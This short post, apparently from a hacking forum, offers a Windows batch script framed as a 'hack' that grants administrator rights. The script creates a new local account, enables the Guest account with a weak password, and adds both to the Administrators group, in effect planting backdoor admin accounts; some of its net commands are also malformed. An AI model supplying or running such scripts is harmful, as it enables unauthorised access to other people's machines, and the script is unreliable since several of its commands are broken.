Here is the code for u to make guest account to get admin privilages
just copy and paste it in a notepad and save it as .bat and run it
==================
echo off
title HackingGuru hack Please wait…
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add